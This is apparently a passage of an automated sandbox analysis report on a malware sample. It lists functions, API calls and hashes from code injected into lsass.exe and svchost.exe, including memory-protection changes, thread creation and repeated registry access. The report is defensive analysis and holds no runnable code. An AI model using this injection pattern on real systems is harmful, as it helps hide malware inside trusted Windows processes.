Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction ID: adfa0ac79cbee283e7e25f2939b0e43b70932ab6d07c4aaa56a3cfd0b151c1fc
Opcode Fuzzy Hash: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction Fuzzy Hash: CE115422318781E1FB609735E89D39E52A4F784780F9341239F9983796EF29C95DC740

Function 00000202C0AF2488 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000202C0AF2507
WriteFile.KERNEL32 ref: 00000202C0AF27CF
WriteFile.KERNEL32 ref: 00000202C0AF2815
GetLastError.KERNEL32 ref: 00000202C0AF28CB

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction ID: 86f804ca370ea88980c1900413645ff46994125e3e133b6105d09c27127dc8fa
Opcode Fuzzy Hash: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction Fuzzy Hash: C6D1AB33B04B80CAF711CFA9D4882AC77A1E354BD8F558217CF5A97B9ADA39C45AC740

Function 00000202C0AE14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE14C5
HeapFree.KERNEL32 ref: 00000202C0AE14D4
GetProcessHeap.KERNEL32 ref: 00000202C0AE14E1
HeapFree.KERNEL32 ref: 00000202C0AE14F0
GetProcessHeap.KERNEL32 ref: 00000202C0AE1500

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction ID: c24711f5e4ccf87d5e80ffb69706461687795d085dbc81286a19724898a2a8d5
Opcode Fuzzy Hash: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction Fuzzy Hash: D3015A72600B90C6E744DFA6E88C24EB7A4F788F80F064527EB9A4372ADF39C459C744

Function 00000202C0AF2DB0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000202C0AF2D9B), ref: 00000202C0AF2ECC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000202C0AF2D9B), ref: 00000202C0AF2F57

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction ID: 4ccc7f308ffffb04e28b660d9b7e4fbf79716dbb69ece1079529d9764aeabe7a
Opcode Fuzzy Hash: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction Fuzzy Hash: 4391AD63614750C9FB60DF6594CC3AD2BA0F744B88F26411BDF4A67A9ADB36C89AC700

Function 00000202C0AE7D90 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000202C0AE7DBC
GetCurrentThreadId.KERNEL32 ref: 00000202C0AE7DCA
GetCurrentProcessId.KERNEL32 ref: 00000202C0AE7DD6
QueryPerformanceCounter.KERNEL32 ref: 00000202C0AE7DE6

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction ID: 77d80f9dbee3f851834fd7c7e2a90673b38f834d57733b8b2f108d4767e42c81
Opcode Fuzzy Hash: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction Fuzzy Hash: 0911EC26710B44C9FB00CB60E8993AD33A4F759B58F451E26DA6D467A5EB78C5988380

Function 00000202C0ABA24C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000202C0ABA2E7

Strings

MOC, xrefs: 00000202C0ABA2AC
RCC, xrefs: 00000202C0ABA2B5

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction ID: 7d7f04bd19e7a731a6c7dafde95eda89c3a329cef3e26e8ce2b5ef349618afa7
Opcode Fuzzy Hash: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction Fuzzy Hash: B4616636604B84CAFB24DF65D48839D7BA0F358B88F054217EF4917B9ADB79D499C700

Function 00000202C0AE23F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000202C0AE24DE
StrCpyW.SHLWAPI ref: 00000202C0AE24F5

Strings

\\.\pipe\, xrefs: 00000202C0AE24E9

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction ID: 29b586d80d86d2dd6352c2401e50b34bd115b1afb984fbf05cbc000a4141d265
Opcode Fuzzy Hash: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction Fuzzy Hash: 6451C5222047C1C1F6649A29A5EC3AE67A1F385780F560117DFE943B9BDE3DC96CCB40

Function 00000202C0AC2DDB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

_log10_special.LIBCMT ref: 00000202C0AC3071

Strings

dll, xrefs: 00000202C0AC2E95

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: _log10_special
String ID: dll
API String ID: 3812965864-1037284150
Opcode ID: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction ID: ee30d38affed31b38a1ae71746e81f1a3c84c15076c7b03193478497cef2870e
Opcode Fuzzy Hash: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction Fuzzy Hash: 0A614022A39F88CCF5639B3994AD269571CBF523C5F43D307EA0B75A63DB1B904B9600

Function 00000202C0AF2B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000202C0AF2C37
GetLastError.KERNEL32 ref: 00000202C0AF2C59

Strings

U, xrefs: 00000202C0AF2BE3

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction ID: a5b9aff85e46cdca0c990605defdec232b6a9f9f2dfe78cb6c2825141ba38f4e
Opcode Fuzzy Hash: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction Fuzzy Hash: 65418073214B80C6EB208F65E48C3AE67A0F798794F524023EF8D87795DB79C44AC740

Function 00000202C0AE98D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000202C0AE9920
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000202C0AE850B), ref: 00000202C0AE9961

Strings

csm, xrefs: 00000202C0AE994E

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction ID: c6835301eea6b141ab951bbdbd22de10031eba98f4cdd88e8fafccebf38e23db
Opcode Fuzzy Hash: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction Fuzzy Hash: FB112B32214B8482EB218F15E48835D77E5F788B94F594226EFDC0776ADF3DC5658B04

Function 00000202C0AB7786 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000202C0AB77AC

Strings

ctor closure', xrefs: 00000202C0AB7794
`vector constructor iterator', xrefs: 00000202C0AB77B1

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: `vector constructor iterator'$ctor closure'
API String ID: 592178966-3792692944
Opcode ID: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction ID: 08d77e98046bf456f4cc7ff47bd697112ef962ad073d7842f594a56ce69dc36f
Opcode Fuzzy Hash: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction Fuzzy Hash: 5AE08661641B44D0EF018F35E4C829C37A0DB59B54B4A91239A5C06312FA38D1EDC300

Function 00000202C0AB77E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000202C0AB7808

Strings

destructor iterator', xrefs: 00000202C0AB780D
ctor closure', xrefs: 00000202C0AB77F0

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: ctor closure'$destructor iterator'
API String ID: 592178966-595914035
Opcode ID: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction ID: c62a53234f056fb7875f4dd43f552bdaaea83cda8922a931c84352274bd2d7c4
Opcode Fuzzy Hash: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction Fuzzy Hash: 2CE08CA1A01B48C0EF028F35E4C829C3760EB68B58B8A91239A5C06312EA38D1E9C300

Function 00000202C0AB78EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00000202C0AB78F5

Strings

rFeaturePresent, xrefs: 00000202C0AB78FA
`scalar deleting destructor', xrefs: 00000202C0AB7911

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID: `scalar deleting destructor'$rFeaturePresent
API String ID: 1875163511-1689945142
Opcode ID: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction ID: 21612ab5ec52f5ab15ccd92b75c0beb28af2a9aee30857cc7ba07a4efd239e18
Opcode Fuzzy Hash: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction Fuzzy Hash: 0DD06762211B84D5FE10EB14D8CD39D6334F394308FA25413924D41976DF6DCA9EC750

Function 00000202C0AE1C34 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1C6D
HeapAlloc.KERNEL32 ref: 00000202C0AE1C7B
GetProcessHeap.KERNEL32 ref: 00000202C0AE1CA0
HeapFree.KERNEL32 ref: 00000202C0AE1CAE

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction ID: 2908ed8c70ef6e53478651d64cf568e0e4b32d4df27596df8a614dfe14158e8e
Opcode Fuzzy Hash: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction Fuzzy Hash: 12116D22A01B90C1FA04CB67A48C21D67A5F7C9FD0F6A4126DF8D93736DF39D85A8304

Function 00000202C0AE1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE126E
HeapAlloc.KERNEL32 ref: 00000202C0AE127D
GetProcessHeap.KERNEL32 ref: 00000202C0AE1297
HeapAlloc.KERNEL32 ref: 00000202C0AE12A8

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction ID: 57c18ebde478ef601b860432b04afcda540ff4a480a4db4bad1cccaa4c908e69
Opcode Fuzzy Hash: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction Fuzzy Hash: DFE03932601700C6F7048B62D84C349B7E5EB88B06F0681268A0907362DF7E889D8740

Function 00000202C0AE1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1006
HeapAlloc.KERNEL32 ref: 00000202C0AE1015
GetProcessHeap.KERNEL32 ref: 00000202C0AE1028
HeapAlloc.KERNEL32 ref: 00000202C0AE1037

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction ID: a6544d1a82574b1944e5995cc7c7424303f1f11fc498c1c946bd232dd240e5a6
Opcode Fuzzy Hash: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction Fuzzy Hash: 59E0E572611B40C6F7089B62D84C35DB7A5FB88B16F4A8126CA0907322EF3A889D8A14

Analysis Process: svchost.exePID: 920, Parent PID: 8008COMMON

Executed Functions

Function 000002A661303620 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002A661303639
PathFindFileNameW.SHLWAPI ref: 000002A661303648

Part of subcall function 000002A661303C74: StrCmpNIW.KERNELBASE(?,?,?,000002A66130254B), ref: 000002A661303C8C

Part of subcall function 000002A661303BC0: GetModuleHandleW.KERNEL32(?,?,?,?,?,000002A66130365F), ref: 000002A661303BCE
Part of subcall function 000002A661303BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A66130365F), ref: 000002A661303BFC
Part of subcall function 000002A661303BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A66130365F), ref: 000002A661303C1E
Part of subcall function 000002A661303BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A66130365F), ref: 000002A661303C39
Part of subcall function 000002A661303BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A66130365F), ref: 000002A661303C5A

CreateThread.KERNELBASE ref: 000002A66130368F

Part of subcall function 000002A661301D40: GetCurrentThread.KERNEL32 ref: 000002A661301D4B

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction ID: 6d527c4ffa2a22615c6c3880684768457c7209d08e3767d179ae56948d6c0f44
Opcode Fuzzy Hash: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction Fuzzy Hash: 43119270F20A048BFB60EB61AD4DB5A22DCB797F1AF4C41259507A3695DF7CC04C8A83

Function 000002A661303C74 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.KERNELBASE(?,?,?,000002A66130254B), ref: 000002A661303C8C

Strings

dialer, xrefs: 000002A661303C85

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 97321a65610e08eab14ba81d351fc46d427cdee9015788b38818b6b16ac0c562
Instruction ID: 01bc0c9df650b7303412c68f3f44326fa99728fe152795615fbb60613f06fa31
Opcode Fuzzy Hash: 97321a65610e08eab14ba81d351fc46d427cdee9015788b38818b6b16ac0c562
Instruction Fuzzy Hash: 7DD0A7A0B116458BFF24DFE288CDA603398DB0AF05F8D4029C90253110DF2D898D8711

Function 000002A6612D2AC0 Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 000002A6612D2C32

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction ID: 0824defc401c60810ac4f1cae9b4f1747633b09fd72c8282fbd3eb058abddc85
Opcode Fuzzy Hash: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction Fuzzy Hash: 6491FFB2F0125087EB648F25D10CB6DB399FB56F94F598124DE0A4B788DF38E89AC701

Function 000002A661301AC8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002A661301628: GetProcessHeap.KERNEL32 ref: 000002A661301633
Part of subcall function 000002A661301628: HeapAlloc.KERNEL32 ref: 000002A661301642
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613016B2
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613016DF
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613016F9
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301719
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301734
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301754
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A66130176F
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A66130178F
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613017AA
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613017CA

SleepEx.KERNELBASE ref: 000002A661301AE3

Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613017E5
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301805
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301820
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301840
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A66130185B
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A66130187B
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301896
